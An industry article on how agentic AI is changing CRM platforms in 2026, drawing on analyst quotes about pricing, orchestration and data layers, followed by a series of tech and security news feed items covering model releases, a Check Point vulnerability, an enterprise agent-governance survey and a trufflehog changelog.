<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
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<title><![CDATA[v0.32.4-rc0: model: add Laguna MLX support (#17237)]]></title>
<description><![CDATA[model: add Laguna MLX support

Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.
Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and exper...]]></description>
<link>https://tsecurity.de/de/3692833/downloads/v0324-rc0-model-add-laguna-mlx-support-17237/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692833/downloads/v0324-rc0-model-add-laguna-mlx-support-17237/</guid>
<pubDate>Sat, 25 Jul 2026 03:31:54 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>model: add Laguna MLX support</li>
</ul>
<p>Add Laguna XS 2, XS 2.1, and S 2.1 support to the MLX model and create paths.</p>
<p>Read the source config to apply one quantization policy across dense and routed MoE layers. Keep the tied output head and router at source precision, quantize supported attention and expert projections, selectively promote sensitive expert down projections, and emit per-tensor metadata for mixed quantization blobs.</p>
<p>Correct dense expert loading, BF16 source-layout handling, expert global-scale shapes and dtypes, routing-score scaling, and mixed-precision expert dispatch. Gate/up and down projections select quantized or dense execution independently so promoted BF16 down projections do not force quantized gate/up weights through the dense fallback.</p>
<p>Optimize the forward pass with compatible gate/up fusion, sorted standard GatherMM and GatherQMM operations for larger prefills, model-local mlx.Compile closures for elementwise MoE work, and cache-backed 512-token prefill chunks. This keeps the implementation on maintained MLX operations without custom kernels.</p>
<p>Add focused tests for Laguna configuration variants, quantization policy and metadata, dense and routed expert loading, mixed-precision dispatch, compiled-versus-eager parity, fused projections, routing, and prefill chunking.</p>
<ul>
<li>review comments and S 2.1 performance fixes</li>
</ul>
<p>Address renderer/parser selection and mixed-precision expert quantization review feedback.</p>
<p>Keep Laguna weights resident on Metal to prevent repeated paging of its large, sparsely accessed expert buffers. Scope this policy to Laguna GPU execution.</p>
<p>Remove obsolete 512-token prefill chunking now that the runner's 2048-token path is faster.</p>
<ul>
<li>
<p>review comments addressed</p>
</li>
<li>
<p>fix create</p>
</li>
</ul>]]></content:encoded>
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<title><![CDATA[Distribution Release: StartOS 0.4.0]]></title>
<description><![CDATA[The DistroWatch news feed is brought to you by TUXEDO COMPUTERS.  Aiden McClelland has announced the release of a major new version of StartOS, a Debian-based Linux distribution optimised for personal servers, available for AArch64, riscv64 and x86_64 architectures: "Version 0.4.0 is a complete r...]]></description>
<link>https://tsecurity.de/de/3692755/unix-server/distribution-release-startos-040/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692755/unix-server/distribution-release-startos-040/</guid>
<pubDate>Sat, 25 Jul 2026 01:45:40 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The DistroWatch news feed is brought to you by <a href="https://www.tuxedocomputers.com/">TUXEDO COMPUTERS</a>.  Aiden McClelland has announced the release of a major new version of StartOS, a Debian-based Linux distribution optimised for personal servers, available for AArch64, riscv64 and x86_64 architectures: "Version 0.4.0 is a complete rewrite of StartOS. After six years of building, we believe we have arrived at the....]]></content:encoded>
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<title><![CDATA[OpenAI Is ‘Very Interested’ in Building Out ChatGPT Integrations for Wearables]]></title>
<description><![CDATA[OpenAI President Greg Brockman talks a bit about where the company’s increasingly Jarvis-like AI agents could be heading next… and in what form.]]></description>
<link>https://tsecurity.de/de/3692608/it-nachrichten/openai-is-very-interested-in-building-out-chatgpt-integrations-for-wearables/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692608/it-nachrichten/openai-is-very-interested-in-building-out-chatgpt-integrations-for-wearables/</guid>
<pubDate>Fri, 24 Jul 2026 23:33:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI President Greg Brockman talks a bit about where the company’s increasingly Jarvis-like AI agents could be heading next… and in what form.]]></content:encoded>
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<title><![CDATA[Anthropic's Opus 5 is about token efficiency, not a capability leap]]></title>
<description><![CDATA[Models are improving quickly, but the cheaper options are often good enough.]]></description>
<link>https://tsecurity.de/de/3692561/ai-nachrichten/anthropics-opus-5-is-about-token-efficiency-not-a-capability-leap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692561/ai-nachrichten/anthropics-opus-5-is-about-token-efficiency-not-a-capability-leap/</guid>
<pubDate>Fri, 24 Jul 2026 23:18:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Models are improving quickly, but the cheaper options are often good enough.]]></content:encoded>
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<title><![CDATA[Check Point schließt SmartConsole-Lücke (CVE-2026-16232) nach aktiver Ausnutzung]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Check Point veröffentlicht Sicherheitsupdates, weil eine kritische Schwachstelle im SmartConsole-Login-Prozess bereits aktiv ausgenutzt wird. Angreifer können sich offenbar ohne Authentifizierung einen Token beschaffen und damit mit vollen Administratorrechten arbeiten. Bet...]]></description>
<link>https://tsecurity.de/de/3692504/it-security-nachrichten/check-point-schliesst-smartconsole-luecke-cve-2026-16232-nach-aktiver-ausnutzung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692504/it-security-nachrichten/check-point-schliesst-smartconsole-luecke-cve-2026-16232-nach-aktiver-ausnutzung/</guid>
<pubDate>Fri, 24 Jul 2026 22:58:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-checkpoint-smartconsole-cve-16232.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-checkpoint-smartconsole-cve-16232.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-checkpoint-smartconsole-cve-16232-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-checkpoint-smartconsole-cve-16232-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-checkpoint-smartconsole-cve-16232-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-checkpoint-smartconsole-cve-16232-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-checkpoint-smartconsole-cve-16232-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Check Point veröffentlicht Sicherheitsupdates, weil eine kritische Schwachstelle im SmartConsole-Login-Prozess bereits aktiv ausgenutzt wird. Angreifer können sich offenbar ohne Authentifizierung einen Token beschaffen und damit mit vollen Administratorrechten arbeiten. Betroffen ist vor allem eine Konfiguration, bei der das Management-System direkt ohne harte IP-Einschränkungen ins Internet zeigt. Zusätzlich ordnet die US-Behörde CISA […]</p>
<div><a href="https://www.it-boltwise.de/check-point-schliesst-smartconsole-luecke-cve-2026-16232-nach-aktiver-ausnutzung.html">... den vollständigen Artikel <strong>»Check Point schließt SmartConsole-Lücke (CVE-2026-16232) nach aktiver Ausnutzung«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/check-point-schliesst-smartconsole-luecke-cve-2026-16232-nach-aktiver-ausnutzung.html">Check Point schließt SmartConsole-Lücke (CVE-2026-16232) nach aktiver Ausnutzung</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
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<title><![CDATA[Claude Opus 5: Neues Anthropic-Modell soll so gut wie Fable 5 sein, aber nur die Hälfte kosten]]></title>
<description><![CDATA[Anthropic hat mit Claude Opus 5 ein neues KI-Modell an den Start gebracht, das Fable 5 in Sachen Performance die Stirn bieten können soll. Nur bei der Cybersicherheit ist noch Luft nach oben. Nutzer:innen zahlen dafür aber nur die Hälfte der KI-Token-Kosten.weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3692496/it-nachrichten/claude-opus-5-neues-anthropic-modell-soll-so-gut-wie-fable-5-sein-aber-nur-die-haelfte-kosten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692496/it-nachrichten/claude-opus-5-neues-anthropic-modell-soll-so-gut-wie-fable-5-sein-aber-nur-die-haelfte-kosten/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic hat mit Claude Opus 5 ein neues KI-Modell an den Start gebracht, das Fable 5 in Sachen Performance die Stirn bieten können soll. Nur bei der Cybersicherheit ist noch Luft nach oben. Nutzer:innen zahlen dafür aber nur die Hälfte der KI-Token-Kosten.<a href="https://t3n.de/news/claude-opus-5-fable-5-guenstiger-1754781/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
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<title><![CDATA[Anthropic claims its new Claude Opus 5 delivers near-Fable 5 performance at half the token price]]></title>
<description><![CDATA[Anthropic's new flagship model Claude Opus 5 posts top scores in coding and knowledge work at half of Fable 5's token rates. On ARC-AGI-3, a benchmark for novel problem-solving, Opus 5 hits 30.2 percent, nearly four times higher than GPT-5.6 Sol.
The article Anthropic claims its new Claude Opus 5...]]></description>
<link>https://tsecurity.de/de/3692319/ai-nachrichten/anthropic-claims-its-new-claude-opus-5-delivers-near-fable-5-performance-at-half-the-token-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692319/ai-nachrichten/anthropic-claims-its-new-claude-opus-5-delivers-near-fable-5-performance-at-half-the-token-price/</guid>
<pubDate>Fri, 24 Jul 2026 20:51:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2560" height="1440" src="https://the-decoder.com/wp-content/uploads/2026/07/claude_opus_5_logo-scaled.webp" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Anthropic's new flagship model Claude Opus 5 posts top scores in coding and knowledge work at half of Fable 5's token rates. On ARC-AGI-3, a benchmark for novel problem-solving, Opus 5 hits 30.2 percent, nearly four times higher than GPT-5.6 Sol.</p>
<p>The article <a href="https://the-decoder.com/anthropic-claims-its-new-claude-opus-5-delivers-near-fable-5-performance-at-half-the-token-price/">Anthropic claims its new Claude Opus 5 delivers near-Fable 5 performance at half the token price</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[v3.96.0]]></title>
<description><![CDATA[What's Changed

[INS-355] Added Hashicorp vault token detector by @MuneebUllahKhan222 in #4819
Tighten JiraToken v1 verification by @shahzadhaider1 in #5122
[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by @bill-rich in #5123
Fix GitLab project metadata cache...]]></description>
<link>https://tsecurity.de/de/3692297/it-security-tools/v3960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692297/it-security-tools/v3960/</guid>
<pubDate>Fri, 24 Jul 2026 20:37:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>[INS-355] Added Hashicorp vault token detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087349241" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4819" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4819/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4819">#4819</a></li>
<li>Tighten JiraToken v1 verification by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857561874" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5122" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5122/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5122">#5122</a></li>
<li>[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bill-rich/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bill-rich">@bill-rich</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4858092823" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5123" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5123/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5123">#5123</a></li>
<li>Fix GitLab project metadata cache and switch to LRU by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890961533" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4727" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4727/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4727">#4727</a></li>
<li>Log analyze errors for Anthropic Analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4844292265" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5120" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5120/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5120">#5120</a></li>
<li>Add metrics for chunks and results by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880771609" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5128" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5128/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5128">#5128</a></li>
